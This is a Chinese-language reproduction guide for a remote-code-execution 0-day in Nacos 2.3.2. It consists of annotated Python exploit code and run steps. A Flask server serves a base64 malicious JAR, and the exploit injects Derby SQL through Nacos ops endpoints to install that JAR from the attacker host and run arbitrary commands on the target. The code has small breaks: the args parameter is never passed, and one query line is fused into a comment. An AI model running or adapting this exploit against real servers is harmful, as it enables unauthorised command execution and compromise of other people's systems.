Nacos rce-0day漏洞复现（nacos 2.3.2）

1、CVE-2021-29441认证绕过
2、QVD-2023-6271默认密钥
3、CNVD-2020-67618 SQL注入
4、CNVD-2023-45001反序列化

#定义一个路由 /download，当用户访问这个URL时，调用 download_file 函数，请求download接口就会返回jar的内容
@app.route('/download')   
def download_file():
#将Base64编码的payload 解码为二进制数据。
    data = base64.b64decode(payload)  
#创建一个HTTP响应对象，包含解码后的数据，并 设置MIME类型为 application/octet-stream（表示二进制文件）。
    response = Response(data, mimetype="application/octet-stream")
#可以设置响应头，指示浏览器将内容作为附件下载，并指定文件名（这里被注释掉了）。
    # response.headers["Content-Disposition"] = "attachment; filename=file.bin"  
#返回响应对象。
    return response

# 按装订区域中的绿色按钮以运行脚本。
def exploit(target, command, service, args):
#构建用于发送请求的URL
    removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    print("正在进行碰撞,请耐心等待!!")
#循环----直到成功利用漏洞
    for i in range(0, sys.maxsize):
#id：生成一个随机字符串，用于标识SQL注入的payload
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
#post_sql：构建SQL注入的payload，安装一个恶意的Java函数
        post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id, service=service);
#option_sql：构建SQL语句，利用恶意函数执行命令
        option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id, cmd=command);
#get_sql：构建SQL查询，执行命令并获取结果                                                                                 get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id, cmd=command);
        # get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
        files = {'file': post_sql}
#requests.post：发送POST请求，上传恶意SQL
#requests.get：发送GET请求，执行命令并获取结果。
        post_resp = requests.post(url=removal_url, files=files, verify=False, headers=header, timeout=5)
        post_json = post_resp.json()
        if args.url:
            print(post_json)
        if (post_json['code'] == 404 or post_json['code'] == 403) and "File" not in post_json['message']:
            print(Fore.YELLOW + f"[-] {target} 可能不存在Nacos_Rce漏洞\n" + Fore.RESET)
            break
        if post_json.get('message', None) is None and post_json.get('data', None) is not None:
            print(post_resp.text)
            get_resp = requests.get(url=derby_url, params={'sql': get_sql}, verify=False, headers=header,
                                    timeout=5)
            print(Fore.RED + f"\n[+] {target} 存在Nacos_Rce漏洞，执行命令：{command}" + Fore.RESET)
            print(Fore.RED + f"[+] 返回的结果如下: {get_resp.text}" + Fore.RESET)
            break


if __name__ == '__main__':
#service：构建下载恶意Jar文件的URL。
    service = 'http://{host}:{port}/download'.format(host=config.server_host, port=config.server_port)
#target 和 command：从用户输入获取目标URL和要执行的命令。
    target = 'http://127.0.0.1:8848'
    command = 'calc'
    target = input('请输入目录URL，默认：http://127.0.0.1:8848：') or target
    command = input('请输入命令，默认：calc：') or command
#exploit：调用漏洞利用函数。
    exploit(target=target, command=command, service=service)

第一步：安装依赖requests和flask

第二步：配置config.py中的ip和端口，需要安装依赖

第三步;启动恶意服务端:python server.py，把上面的恶意类通过b64压缩处理，加载在fask服务端当作服务器资源

第四步：执行exploit.py，输入命令即可执行.默认执行calc